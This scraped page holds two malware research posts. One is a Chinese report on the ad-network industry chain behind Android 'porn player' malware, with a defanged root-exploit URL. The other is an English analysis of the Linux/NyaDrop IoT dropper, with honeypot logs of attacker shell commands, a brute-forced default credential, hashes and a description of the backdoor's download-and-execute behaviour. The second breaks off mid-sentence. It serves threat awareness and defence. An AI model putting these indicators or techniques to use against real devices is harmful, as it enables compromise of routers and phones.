掌握色情网站资源：用试看的方式诱导用户进行付费； 搭建服务器能力：用来测试和存储研发的软件； 支付插件的筛选能力：了解不同支付插件的申请审核特性，使用方便的支付方式，提高软件的转化率。 图2.32 开发者画像\n(二) 广告主\n广告主即广告信息的发布者，希望通过发布网络广告来推广自己的网站、产品或服务，并为承担相关法律责任的法人。广告主在广告平台发布广告信息，并按照所发布的广告的总数量及单位价格向广告平台支付广告费用。\n掌握推广软件资源：作为软件的推广基础； 掌握广告联盟资源：作为软件的推广去向，影响软件的推广效果； 有一定的经济基础：需要钱来维持整个推广的运作； 具备数据统计分析能力：能够分析衡量钱和推广效果的转化率； 具备议价能力：了解行业内的推广价格，进行合理的金钱投入。 图2.33 广告主画像\n(三) 网站主\n网站主是广告交易双方的其中一方，即网站的拥有者，具有修改、新增、删除网站内容的权力，并承担相关法律责任的法人。在自已网站上投放广告主的广告后，并按照平台规定通过本平台收取佣金。\n掌握广告联盟资源：作为网站挣钱的方式之一，影响着网站主的收益； 域名管理能力：在维持网站正常运行的同时，能够提供后台页面，方便进行分发、统计； 域名注册资源：网站主名下有多个域名； 访问流量基础：针对搜索引擎进行了SEO优化，有一定的访问量。 图2.34 网站主画像\n第三章 追根溯源 在调查整个产业链的过程中，我们从众多广告联盟中发现了 “北辰互联”、“7540流量联盟”和“常德中旭”这三家广告联盟。从表面上看这三家公司相互独立没有任何关联，但是通过对其流量数据的分析发现，他们之间“相互推广，合作共赢”，这也是色情播放器类恶意软件产业规模庞大的一个原因。\n一、北辰互联 www.8782.net是北辰互联的官方地址，表面看上去是一家普通的广告联盟平台。从备案信息看是一家在贵州备案的个人网站。\n图3.1 北辰互联官网\n图3.2 北辰互联网站备案信息\n通过对8782.net域名下数据流量的分析，发现其一直在推广色情播放器类恶意软件，涉及软件数量高达108万余个，下面列举了涉及的软件前10个恶意软件名称。\n图3.3 北辰互联推广恶意软件Top10\n二、7540流量联盟 www.7540.net是7540流量联盟的官方地址，表面看上去是一家普通的广告联盟平台。从备案信息看是一家在江西备案的企业网站。\n图3.4 7540流量联盟官网\n图3.5 7540流量联盟网站备案信息\n通过对7540.com域名下数据流量的分析，发现其一直在推广色情播放器类恶意软件，涉及软件数量高达134万余个，下面列举了涉及的软件前10个恶意软件名称。\n图3.6 7540流量联盟推广恶意软件Top10\n三、中旭网 www.zhxone.com是中旭网的官方地址，表面看上去是一家普通的广告联盟平台。从备案信息看是一家在浙江备案的个人网站。\n图3.7 中旭网备案信息\n通过对zhxone.com域名下数据流量的分析，发现其一直在推广色情播放器类恶意软件，涉及软件数量高达358万余个，下面列举了涉及的软件前10个恶意软件名称。\n图3.8 中旭网推广恶意软件Top10\n另外在其流量中发现类似hxxp://coco.zhxone.com/tools/datatools的访问链接会下载Root Exploit文件\n图3.9杀软报毒情况\n四、关系揭露 (一) 北辰互联与中旭网\n从流量发送和接收的数据看，我们发现北辰互联推广中旭网，两个域名下推广的软件交集部分到达76万余个色情播放器类恶意软件。\n图3.10 北辰互联推广中旭网\n图3.11 北辰互联与中旭网推广交集\n从DNS解析角度看，tools.8782.net与tools.zhxapp.com还有tools.haidianyun.com曾经被同一IP解析，而zhxapp.com和haidianyun.com下均存在包含“/tools/datatools”特征片段的链接，与coco.zhxone.com/tools/datatools链接片段一致。\n图3.12 DNS解析关系图\n(二) 北辰互联与7540流量联盟\n从流量请求和响应的数据看，我们发现7540流量联盟推广北辰互联，两个域名下推广的软件交集部分到达16万余个色情播放器类恶意软件。\n图3.13北辰互联与7540流量联盟推广交集\n另外，从两个网站的官网页面看，网站的样式、字体、配色、图标以及描述几乎完全一致，搭建的网站疑似采用同一套源代码。\n图3.14 北辰互联（左）与7540流量联盟（右）网页对比\n(三) 小结\n这三家公司虽然在备案信息中毫无联系，但是结合上面我们发现的他们之间的几点关系，不难推测它们之间可能有合作关系，甚至背后可能为同一公司，网站只是作为掩护的一个空壳。\n广告联盟作为色情播放器类恶意软件传播中的联系平台，并不是相对独立，而是多个广告联盟呈现上下游的协同合作，导致传播的规模更大范围更广。\n第四章 总结 一、趋势 以色情播放器类恶意软件产业链视角看移动平台流量黑产的趋势，主要表现在传播手段、变现方式、技术特点、攻击对象和资源实力五个方面。\n(一) 传播手段\n从传播手段看，传统木马主要依靠应用市场进行传播，而色情播放器类恶意软件主要通过网站链接和私自下载等网络流量的方式传播，这种传播方式表现为存活周期短，短时间内集中爆发。\n(二) 变现方式\n从变现方式看，这类恶意软件主要以诱导充值、恶意扣费和广告推广为盈利手段，大多数广告联盟都是以日结的方式，使得产业链中的各个角色变现方式更快、更容易。\n(三) 技术特点\n从技术特点看，这类恶意软件为了保证留存率，大部分色情播放器类恶意软件都带有Root模块，并且释放部署多个的恶意文件相互保护，从而获得对手机完全控制权限，难以彻底清除；另外，为了躲避追踪和查杀，这部分恶意软件变化速度快，与安全软件之间有极强的对抗性。\n(四) 攻击对象\n从攻击对象看，这类恶意软件擅长掌握人的需求，一些禁不住诱惑的人最容易中招。我们从用户反馈中了解到除了一部分用户是被动中招外，还有一部分用户是主动安装。甚至明知安全软件检测出威胁，仍然选择无视这些警告信息，导致出现财产损失等一系列安全问题。\n(五) 资源实力\n在2016年ISC大会上我们以《”企业级”恶意程序开发者搅局移动安全》[4]为题，深度介绍了企业团队在技术深度、传播方式和传播影响力上的优势。从资源实力看，这类恶意软件拥有人、钱、关系三种资源实力，在整个产业链运作中，从开发的技术水平、广告联盟的渠道、资金的运转、软件的迭代对抗速度以及完善的自动化批量打包后台，处处都体现出其背后的企业模式。\n二、监管 (一) 政策监管\n网络淫秽色情活动猖獗，一直是我国严厉打击的对象。全国“扫黄打非”办公室日前公布的“净网2016”专项行动成果[5]，受到广泛关注。截至11月底，各地共清理处置淫秽色情等网络有害信息327万余条，查处、关闭违法违规网站2500余家，查办网络“扫黄打非”案件862起，全国“扫黄打非”办公室挂牌督办重点案件66起。\n我国刑法有关法律法规[6]：\n第三百六十三条：以牟利为目的，制作、复制、出版、贩卖、传播淫秽物品的，处三年以下有期徒刑、拘役或者管制，并处罚金；情节严重的，处三年以上十年以下有期徒刑，并处罚金；情节特别严重的，处十年以上有期徒刑或者无期徒刑，并处罚金或者没收财产。 第三百六十四条：传播淫秽的书刊、影片、音像、图片或者其他淫秽物品，情节严重的，处二年以下有期徒刑、拘役或者管制。组织播放淫秽的电影、录像等音像制品的，处三年以下有期徒刑、拘役或者管制，并处罚金；情节严重的，处三年以上十年以下有期徒刑，并处罚金。制作、复制淫秽的电影、录像等音像制品组织播放的，依照第二款的规定从重处罚。向不满十八周岁的未成年人传播淫秽物品的，从重处罚。 (二) 社会监管\n手机网民规模不断增长、应用场景日趋多样，使得用户手机网络安全环境也更加复杂，逐渐增多的手机信息安全事件已经引起全社会的关注。广大手机网民作为社会活动中的主要角色，要发挥主观能动性，群策群力，形成完善的社会监督工作机制，积极举报网络淫秽色情信息。同时，互联网企业应该有责任感和担当意识，加强对传播内容的审核，发现网络淫秽色情信息，应该及时处理屏蔽，避免成为其传播的帮凶。\n(三) 技术监管\n针对网络淫秽色活动，从技术监管角度应该加强对网站内容的审查，提高对网络淫秽色内容的检测识别能力，从制作、传播、存储等多层面进行查杀、封停和清理。多层面协同联动，有力打击违法犯罪行为，切实净化网络文化环境。\n引用 [1] URL重定向http://baike.so.com/doc/8454899-8774902.html\n[2]Android逃逸技术汇编：http://blogs.360.cn/360mobile/2016/10/24/android_escape/\n[3]绝美影院反复充值，不能使用，全额退款：http://ts.21cn.com/tousu/show/id/79481\n[4] 《ISC 2016 移动安全发展论坛》—— 陈宏伟：”企业级”恶意程序开发者搅局移动安全：http://bobao.360.cn/course/detail/184.html\n[5]“净网2016”专项行动取得明显成效：http://www.shdf.gov.cn/shdf/contents/767/310742.html\n[6]中华人民共和国刑法（节选）：http://www.shdf.gov.cn/shdf/contents/704/44433.html\n","permalink":"https://www.lucien116.com/archives/230/","summary":"\u003ch3 id=\"摘-要\"\u003e摘    要\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e360烽火实验室8月底发现了三组异常流量曲线，流量曲线呈现存活时间短，连续3天此消彼长的态势，访问量集中最高峰值达到近2万次。\u003c/li\u003e\n\u003cli\u003e大量可疑下载链接数指向的文件均为名称具有诱惑性、图标暴露的色情播放器类恶意软件，并且链接都包含固定的“list/日期”格式。\u003c/li\u003e\n\u003cli\u003e可疑下载链接均来自重定向跳转，流量数据包中的Set-Cookie的值都有一个十分明显的固定特征“cdm=http”。\u003c/li\u003e\n\u003cli\u003e抽取相似网络流量特征看，表现出IP层、跳转层、下载层的三层控制分发模型。\u003c/li\u003e\n\u003cli\u003e通过对可疑域名的的追踪，发现了管理后台、分发的色情播放器类恶意软件以及网站使用的伪装手法。\u003c/li\u003e\n\u003cli\u003e色情播放器类恶意软件产业链从制作上看，包括恶意模块集成、免杀、视频教程、申请支付ID。\u003c/li\u003e\n\u003cli\u003e从传播上看，投放方式包括，网页诱导、网页挂马、广告推广、APP捆绑、论坛和热门影视。\u003c/li\u003e\n\u003cli\u003e从传播量大的原因看，其中一个是因为在不同时间内，同一链接可以灵活控制重定向到多个下载链接，并且通过检查浏览器UA标识来逃避审查。\u003c/li\u003e\n\u003cli\u003e从产业链规模看，2016年全年共捕获色情播放器类恶意软件超过800万；色情链接一周的访问流量高达830万余次。\u003c/li\u003e\n\u003cli\u003e开发者、广告主和网站主是产业链中的主要角色，他们各自拥有不同的技能与资源。\u003c/li\u003e\n\u003cli\u003e广告联盟作为色情播放器类恶意软件传播中的联系平台，并不是相对独立，而是多个广告联盟呈现上下游的协同合作，是传播量范围大的另一个原因。\u003c/li\u003e\n\u003cli\u003e以色情播放器类恶意软件产业链视角看移动平台流量黑产的趋势，主要表现在传播手段、变现方式、技术特点、攻击对象和资源实力五个方面。\u003c/li\u003e\n\u003cli\u003e通过在政策、社会、技术多层面协同联动，有力打击违法犯罪行为，切实净化网络文化环境。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e关键词：色情播放器、流量黑产、移动平台、恶意软件\u003c/p\u003e\n\u003ch3 id=\"第一章-冰山一角\"\u003e第一章       冰山一角\u003c/h3\u003e\n\u003cp\u003e随着互联网的迅猛发展和规模不断扩大，计算机网络不仅在工业、银行、科研教育等各个领域发挥重要作用，而且与我们的日常出行、购物、娱乐、社交等生活密不可分。网络在给我们带来便利的同时，也让一些不法分子嗅到了金钱的味道，产生了诸如钓鱼网站、DDOS攻击、DNS劫持、网络流量作弊、恶意程序分发等等黑色产业链。\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e一、异常流量\u003c/strong\u003e\n网络流量监测作为计算机网络的基础部分，在互联网大数据下通过对流量曲线的检测和分析，可以在第一时间获取特定时期内的网络负载情况、负载变化情况，直观的评估网络环境的健康程度，对于发现网络流量中的异常行为，可以提早发现问题和网络威胁，组织防范或恢复措施，避免带来严重的问题和损失。\u003c/p\u003e\n\u003cp\u003e360烽火实验室8月底发现了三组异常流量曲线，流量曲线呈现存活时间短，连续3天此消彼长的态势，访问量集中最高峰值达到近2万次。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://blogs.360.cn/360mobile/files/2016/12/image4.jpeg\"\u003e\u003cimg loading=\"lazy\" src=\"http://blogs.360.cn/360mobile/files/2016/12/image4.jpeg\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e图1.1 异常流量曲线图\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e二、可疑链接\u003c/strong\u003e\n我们通过持续关注和分析，发现了更多（只列举其中10个）存在相似行为的网络主机，并且发现了相似的URL链接。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://blogs.360.cn/360mobile/files/2016/12/image5-2.png\"\u003e\u003cimg loading=\"lazy\" src=\"http://blogs.360.cn/360mobile/files/2016/12/image5-2.png\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e图1.2 可疑URL\u003c/p\u003e\n\u003cp\u003e这些可疑链接指向的文件均为名称具有诱惑性、图标暴露的色情播放器类恶意软件，并且链接都包含固定的“list/日期”格式。\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e三、链接重定向\u003c/strong\u003e\n链接重定向[1]就是把一个URL重定向到另一个URL上去。重定向即是把一个目录或者文件的访问请求转发至另外一个目录或者文件，当用户发出相应的访问请求时将自动跳转到指定的位置，常见的重定向有301（永久重定向）及302（暂时重定向）两种。\u003c/p\u003e\n\u003cp\u003e我们在溯源可疑下载链接的来源时发现，这些可疑链接都是在客户端请求某个链接时经过HTTP协议302码暂时重定向指向的链接。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://blogs.360.cn/360mobile/files/2016/12/image6-1.png\"\u003e\u003cimg loading=\"lazy\" src=\"http://blogs.360.cn/360mobile/files/2016/12/image6-1.png\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e图1.3 重定向示意图\u003c/p\u003e\n\u003cp\u003e每个独立的下载链接之间看似不相干，但实际上都是存在相互关联的。经过一段时间的观察，我们发现客户端在不同时间内请求同一个链接时，返回的重定向页链接是不同的，并且从抽取的流量包中还发现这些网络流量中所返回的Set-Cookie的值都有一个十分明显的固定特征“cdm=http”。这种链接重定向跳转机制导致出现了上面提到的大量可疑下载链接。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://blogs.360.cn/360mobile/files/2016/12/image7-2.png\"\u003e\u003cimg loading=\"lazy\" src=\"http://blogs.360.cn/360mobile/files/2016/12/image7-2.png\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e图1.4 请求同一链接重定向到不同的地址\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e四、分发模式\u003c/strong\u003e\n(一)    分层\u003c/p\u003e\n\u003cp\u003e通过可疑下载链接的表现形式、利用的HTTP协议302码暂时重定向特性以及流量包中的固定特征“cdm=http”，我们关联出更多网络主机间的关系\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://blogs.360.cn/360mobile/files/2016/12/image8-1.png\"\u003e\u003cimg loading=\"lazy\" src=\"http://blogs.360.cn/360mobile/files/2016/12/image8-1.png\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e图1.5 更多网络主机关系\u003c/p\u003e\n\u003cp\u003e它们之间关系表现为分层结构主要分为三层，中间层向上指向同一IP，向下指向多个下载链接，我们将上层命名为“IP层”，中层命名为“跳转层”，下层命名为“下载层”。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://blogs.360.cn/360mobile/files/2016/12/image9-1.png\"\u003e\u003cimg loading=\"lazy\" src=\"http://blogs.360.cn/360mobile/files/2016/12/image9-1.png\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e图1.6 三层结构\u003c/p\u003e\n\u003cp\u003e(二)    控制模型\u003c/p\u003e\n\u003cp\u003e从上面的实例分析，我们抽象出一个三层控制模型，通过控制模型实现对色情播放器类恶意软件的传播。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://blogs.360.cn/360mobile/files/2016/12/image10-1.png\"\u003e\u003cimg loading=\"lazy\" src=\"http://blogs.360.cn/360mobile/files/2016/12/image10-1.png\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e图1.7 三层控制模型\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e下载层：表现为链接每天频繁地变化，出现和消亡的周期短，短时间内访问集中爆发；\u003c/li\u003e\n\u003cli\u003e跳转层：表现为采用HTTP协议302码暂时重定向，灵活切换控制下载层，与下载层相比数量相对收敛；\u003c/li\u003e\n\u003cli\u003eIP层：表现为对跳转层的集中控制管理，与下载层和跳转层相比更为收敛，变化程度小。\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"第二章-始作俑者\"\u003e第二章      始作俑者\u003c/h3\u003e\n\u003cp\u003e色情播放器类恶意软件数量近几年呈现爆发式增长，软件总量达到千万量级，时刻威胁着用户手机及财产安全。“天下熙熙，皆为利来；天下攘攘，皆为利往”，这类恶意软件之所以“兴起”，它的背后一定潜伏着巨大的利益与诱惑。我们对色情播放器类恶意软件的来源、危害和传播方式进行了长期关注，揭开了其背后的黑色产业链。\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e一、重要线索\u003c/strong\u003e\n我们通过网络流量的分析，在“mppay.net”域名下，发现了一个APK包的渠道分发状态后台。后台页面清楚得展示出400多个渠道编号、更新日期时间和对应的下载链接。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://blogs.360.cn/360mobile/files/2016/12/image11-1.png\"\u003e\u003cimg loading=\"lazy\" src=\"http://blogs.360.cn/360mobile/files/2016/12/image11-1.png\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e图2.1分发后台\u003c/p\u003e\n\u003cp\u003e页面分发的软件全部为色情播放器类软件归属与Trojan.Dropper.Android.FakeDebuggerd.B同一恶意家族，并且分发的软件每天都在更新，我们选取了一段时间内下载的软件进行了统计，其中包括“91爱妹视频”、“成人i影院”、“91爱色院线”等等。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://blogs.360.cn/360mobile/files/2016/12/image12-1.png\"\u003e\u003cimg loading=\"lazy\" src=\"http://blogs.360.cn/360mobile/files/2016/12/image12-1.png\"\u003e\u003c/a\u003e\u003c/p\u003e","title":"移动平台流量黑产研究——色情播放器类恶意软件产业链"},{"content":"Background Since the end of September 2016 I received a new type of attacks that aims the MIPS platform I provided to detect IoT attacks. I will call this threat as new ELF Linux/NyaDrop as per the name used by threat actor himself, for the \u0026ldquo;nyadrop\u0026rdquo; binary that is dropped in the compromised system.\nThis is not the \u0026ldquo;really\u0026rdquo; first time we\u0026rsquo;re seeing this threat actually, in this year, some small events was detected on having these attacks which I ignored for some reasons, and on May 22th, me and hFiref0x of KernelMode was in a convo regarding to the threat which was detected. It was obviously the same threat (proof is as per picture below, thanks to hFiref0x for the ping that time). On May\u0026rsquo;s event, the attack was so poorly arranged so the infection wasn\u0026rsquo;t occurred due to the lack of UNIX background of the bad actor. And I did not want to post it in anywhere, hopefully he will be always as dumb as per that state.\nIn the end of September 2016, a wave of attacks using IoT known factory hardcoded default login credential that was recently exposed on some blackhat events, was raising a lot of ELF threat to \u0026ldquo;come back\u0026rdquo; and race to infect the known IoT vulnerable sector. And during the session, the Linux/NyaDrop\u0026rsquo;s loader attacks was re-surfacing again, and this time it got better (a bit), so I decided to write in this post as public awareness. For the purpose I made forensic records since early Octtober 2016 for the conducted attacks on specific platform aimed, MIPS CPU architecture, implying routers and similar networking devices, with 32bit clock.\nThis post is informing you about the information related to the attack, records of several attack pattern, the dropped binary analysis in reverse engineering. You may can get the hazards to be use detect and mitigate the threat, and further precaution. The complete log is shared to law enforcement. Beforehand, I thank FreeBSD foundation to the free \u0026amp; open source platform which I conduct all of my research, radare2 for the one and only reversing platform I use, and Linux for the great OS that is successfully implemented into plenty of IoT, and also Mr.Michel Oosterhof for his effort in improving a good tool.\nThe detail is in the following sections..\nNyaDrop attack indicators There are some indicators that can be used to detect this attack, the first pattern is the login \u0026ldquo;Failed attempt\u0026rdquo; and then followed by the \u0026ldquo;Success attempt\u0026rdquo; of login credential of the aimed IoT. The time for getting success attempt is very short, indicated the bruce force work.\nThe Fail then success attempt can be shown as per below: In this attack the credential \u0026ldquo;5up\u0026rdquo;, was used as first brute login.\nThe one shot attack with a success attempt can be shown as per below: And below are the several pattern of failed attacks: I think the last patterns is the most seen pattern by the honeypot users. You have to be as \u0026ldquo;cameleon\u0026rdquo; to Linux MIPS IoT system in characteristic to fulfill the herder\u0026rsquo;s checks for then he will \u0026ldquo;grant\u0026rdquo; you to the Linux/NyaDrop binary :-)\nThis attack was keep on coming while I was writing this blog:\n2016-10-13|20:33:11| sid/ip=701,\u0026#39;46.172.91.20\u0026#39;|SHELL|echo -n -e \u0026#39;\\x74\\x65\\x73\\x74\u0026#39; 2016-10-13|22:33:04| sid/ip=825,\u0026#39;46.172.91.20\u0026#39;|SHELL|echo -n -e \u0026#39;\\x74\\x65\\x73\\x74\u0026#39; 2016-10-13|23:58:45| sid/ip=996,\u0026#39;46.172.91.20\u0026#39;|SHELL|echo -n -e \u0026#39;\\x74\\x65\\x73\\x74\u0026#39; 2016-10-14|00:32:03| sid/ip=993,\u0026#39;46.172.91.20\u0026#39;|SHELL|echo -n -e \u0026#39;\\x74\\x65\\x73\\x74\u0026#39; Some points to be noticed in these attacks are:\nRussian IP address as source of threat:\n{ \u0026#34;ip\u0026#34;: \u0026#34;46.172.91.20\u0026#34;, \u0026#34;hostname\u0026#34;: \u0026#34;No Hostname\u0026#34;, \u0026#34;country\u0026#34;: \u0026#34;RU\u0026#34;, \u0026#34;loc\u0026#34;: \u0026#34;55.7386,37.6068\u0026#34;, \u0026#34;org\u0026#34;: \u0026#34;AS35390 PE Masyuk Natalya\u0026#34; } The specific Dahua IPC-HFWxxx old type vulnerable password was the one used to let this in, but that depends on how we apply our traps.\nThe binary injected during the attack is the ELF malware Linux/NyaDrop:\nnyadrop: ELF 32-bit MSB executable, MIPS, MIPS-II version 1 (SYSV), statically linked, stripped The attacker is not \u0026ldquo;greedy\u0026rdquo; to infect, the herder is starting attacks from his spreader/loader in some session to some specific IP targets to then aim other targets while stopping the previous ones, it goes all over without a rapid rotation. It seems like the herder want to keep distribution of Linux/NyaDrop as \u0026ldquo;silent mode\u0026rdquo; as possible..\nThe usage of the string \u0026ldquo;test\u0026rdquo; and the ELF injected hex strings via echo -n -e with or without STD_OUT to save is the current active indicator for this infection.\nAttacker is intentionally aiming MIPS, by checking the \u0026ldquo;cpuinfo\u0026rdquo; to be sure which CPU that the device is running, they don\u0026rsquo;t infect my ARM or PPC devices, but yet again, it depends on how you plan to trap them.\nHow ELF Linux/Nyadrop works The successfully installed malware file in the MIPS system is the Linux malware backdoor and dropper, I call it as ELF Linux/NyaDrop malware, with the function to open an internet socket (AF_INET) to remotely connect to the remote host for receiving data of any Linux executable stream intended to infect the previously Linux/NyaDrop compromised machine. The stream of received data to then be saved as \u0026ldquo;nya\u0026rdquo; ELF malware file and then to be executed by Linux/NyaDrop with its permission privilege on the targeted MIPS cpu architecture device.\nThe \u0026ldquo;nya\u0026rdquo; dropped file will be deleted everytime the next new attacks are successfully logged in to the MIPS machine and then updating the previously saved \u0026ldquo;nya\u0026rdquo; malware. This method is so generic and flexible for the attacker to update the botnet component, the backdoor ( Linux/NyaDrop) itself, and can be arranged without giving many trace of executables. Further, during unsuccessful attack or the \u0026ldquo;obviously-detected-honeypot\u0026rdquo;, neither the binary of \u0026ldquo;nyadrop\u0026rdquo; will be saved/infected successfully, following also the \u0026ldquo;nya\u0026rdquo; binary one. This is why the malware sample is not much spotted.\nLinux/Nyadrop ELF binary analysis As per mentioned in the above sections, the ELF binary of MIPS x32, static and stripped, was saved with the name of the \u0026ldquo;nyadrop\u0026rdquo; on the targeted MIPS device. The header is as follows:\nSHA1 (nyadrop) = \u0026#34;095bb52056d00f0d93bba78e4b5b56313de7b79f\u0026#34; Size = \u0026#34;621 bytes\u0026#34; \u0026#34;ELF Header:\u0026#34; Magic: 7f 45 4c 46 01 02 01 00 00 00 00 00 00 00 00 00 Class: ELF32 Data: 2\u0026#39;s complement, big endian Version: 1 (current) OS/ABI: UNIX - System V ABI Version: 0 Type: EXEC (Executable file) Machine: MIPS R3000 Version: 0x1 Entry point address: 0x400090 Start of program headers: 52 (bytes into file) Start of section headers: 500 (bytes into file) Flags: 0x10001004, cpic, o32, mips2 Size of this header: 52 (bytes) Size of program headers: 32 (bytes) Number of program headers: 2 Size of section headers: 40 (bytes) Number of section headers: 3 Section header string table index: 2 \u0026#34;Section Headers:\u0026#34; [Nr] Name Type Addr Off Size ES Flg Lk Inf Al [ 0] NULL 00000000 000000 000000 00 0 0 0 [ 1] .text PROGBITS 00400090 000090 000150 00 AX 0 0 16 [ 2] .shstrtab STRTAB 00000000 0001e0 000011 00 0 0 If you see the size, we are dealing with a small executable file. It\u0026rsquo;s a clean libc compiled ELF from coded in C in such form that we see much in shellcodes. Insides is filled with the MIPS opcodes. We dealt before with the similar small ELF malware before in the following posts in here [ link] and here [ link], I will try to deal with this one too :) Small size yes? But it is amazing to see what this small malicious ELF can do..There\u0026rsquo;s not so much strings that can be extracted by this binary.. However, the ASCII keyword of \u0026ldquo;ny4Ba\u0026rdquo; is a good way to grep for the easy filtration or one of the condition in filtering this malware (current) version for the mitigation / signature purpose.\nReversing the ELF Linux/Nyadrop For the reversing method. I was using my usual way like with previous ELF malware or botnet analysis, with using radare2, some syscall analyzers in skeleton2 and some manual opcode reading.\nLet\u0026rsquo;s see reversing pad with a lot of comments I made in the screenshot below for the details on how this binary works, you\u0026rsquo;ll get the idea better than reading my long explanation.\nPS: Generally, the malicious functions in this ELF malware was reversed well. But please bear for some \u0026ldquo;bad reading\u0026rdquo; on some MIPS opcodes or address, which I think I may miss some few minor parts. Switching from Intel to ARM, PPC and MIPS opcodes reading is sometimes a bit hard to adapt quickly. Moreover I had only several hours to translate them to catch my sleeping time. Who is behind this Linux/NyaDrop A spotted incident was reported that the \u0026ldquo;nya\u0026rdquo; file dropped by Linux/NyaDrop was Linux/LuaBot sample, unfortunately I can not have the consent to publish the detail from the victim. Seeking further of this relation the Linux/LuaBot relation to the Linux/NyaDrop can be clearly shown in the recent method used by LuaBot\u0026rsquo;s coder/herder to infect compromised routers by Linux/NyaDrop, as per seen below: Detection, sample and follow-ups The detection is bad, and you can expect multiple hash will be created per injected ELF of Linux/NyaDrop due to its nature of infection. Please avoid the hash base signature since it will be very meaningless, just as the Linux/Mayhem case [ link](drop-able by spreader via multiple circumstances by script/shell).\nBelow is the screenshot I took AFTER I uploaded the sample to the VirusTotal: *) You can click the picture for directly viewing the report in VirusTotal.\nI understand that many people may not be as lucky as I am in gaining the sample of this threat. There is a good explanation for it, and that, I can not describe openly in this post for the security reason, since the known very bad actor who involved to this threat are reading this blog too (yeah, by now, I know who you are skiddo, so we meet AGAIN in this threat too).\nMy tip for trapping this threat better is: Give the bad actors anything he wants. \u0026lt; read between the line.\nSince I received so many requests from fellow research and IR folks for the sample, I will share the sample to the good vetted close research community. In the mean time please bear with the Virus Total sharing [ link] If you need the text data of my reversing draft or log as per screenshot ones, or more questions on howto grab this samples better, please contact me, all data is available to be shared to good guys only.\n[additional] Linux/NyaDrop differences to other recent ELF backdoor (s_malware) WARNING: This section is a research material in a friendly manners, and it is NOT affected any entities to whom any related individual is working with or working for, these are strictly personal opinions between whitehat malware researchers.\nMy friend Mr. Korolev, a good Linux threat researcher \u0026amp; reverser, was bringing this issue to my attention (with thank\u0026rsquo;s). as he informed: The first time I saw the tweet, what I had in mind was: Why all of my ARM traps wasn\u0026rsquo;t hit then? Since I have much more ARM devices than MIPS in all over internet now, it should fetch something than just only few of MIPS. The second thought was.. I must get off this bus to check it..this just \u0026ldquo;can\u0026rsquo;t wait!\u0026rdquo; (..so I did, opening my OSX and checked the sample in a bus halt afterward). So I replied with below: With further elaboration: \u0026hellip;with an extra \u0026ldquo;howler\u0026rdquo; from r2 leader for being cought-in-the-act using r2 older version\u0026hellip;cry :-P Twitter is never enough to explain the stuff correctly, and I am not active in twitter anymore, so allow me to elaborate some details in here:\nMr. Korolev was not incorrect by saying the s_malware ELF trojan dropped in Dr. Johannes B. Ullrich,Ph.D., of ISC reported case [ link] as s_malware, as \u0026ldquo;similar\u0026rdquo; in type of trojan to Linux/NyaDrop, which is a backdoor, and a file dropper, however, it is not Linux/NyaDrop nor coded in similar way as Linux/NyaDrop, so it could be made by different coder or actor behind the scene.\nIn in short explanation about how s_malware works is like this: Aiming as smallest size ARM ELF binary as possibly made, it uses syscall socket() to open a connection, and uses socket() again for listening via AF_INET, and then use socket syscall,one more time, to receive data from the remote and to then using write() syscall to save the payload with syscall write() if the stream of data is still in there, or exit. It is a smarter and smaller way to code since it seems only uses two linux syscalls for the overall operation.\nSee the above picture and please compare to how Linux/NyaDrop was coded in reversing section. The reason that s_malware ELF is not the Linux/NyaDrop is: (1) Linux/NyaDrop is specifically using syscall connect() and syscall recv(), instead using syscall socket() to listen for incoming and receiving the data. (2) Linux/NyaDrop is using syscall execve() to execute the dropped file after writing data into \u0026ldquo;nya\u0026rdquo; file was done, but there\u0026rsquo;s no usage of any execution syscalls is made in the s_malware. (3) The \u0026ldquo;nya\u0026rdquo; filename is only found in the ELF nyadrop binary.\nThere are plenty of small ELF backdoors/backconnect using the similar or even smarter concept in unixland. Linux/NyaDrop was designed as a sophisticated form in a smaller size as possible (621 bytes) with all correct calls coded intact. s_malware is about 484 bytes. There are more ways to make it even smaller, but remember this, that also will reveal the source of the coder well too.\nThe s_malware in hex: Thank you for the News \u0026amp; Internet Media publishment This section is dedicated to the IT threat journalists, who are so kindly help to raise awareness on Linux/NyaDrop threat. Their fast action and the effort in learning the indicators and nature of the NyaDrop threat is just marvellous, we have nothing to give these gents back except our hard work, thank you, and respect. Following are the notification and for others who hasn\u0026rsquo;t been mentioned I am sorry, and will update as soon as I cam. Again, thank you.\nThank you to \u0026ldquo;Softpedia\u0026rdquo; \u0026amp; Mr. Catalin Cimpanu for speedy understanding \u0026amp; grasping the importance of awareness for Linux/NyaDrop in releasing the awareness of the threat by his article\u0026ndash;\u0026gt;[ link]. You can read a good summary for the threat in here.\nMany thank\u0026rsquo;s for \u0026ldquo;Odisseus\u0026rdquo;, whitehat researcher and/or Mr. Pierluigi Paganini of \u0026ldquo;Security Affrair\u0026rdquo; for the interview arrangement on Linux/NyaDrop, you can see in this article\u0026ndash;\u0026gt;[ link]. You can read the insights details about the threat information, which was \u0026ldquo;cleverly\u0026rdquo; asked by Odisseus in here.\nI thank also Mr. David M. Bisson of \u0026ldquo;Graham Cluley Blog\u0026rdquo; article [ link], and Mr. Ionut Arghire 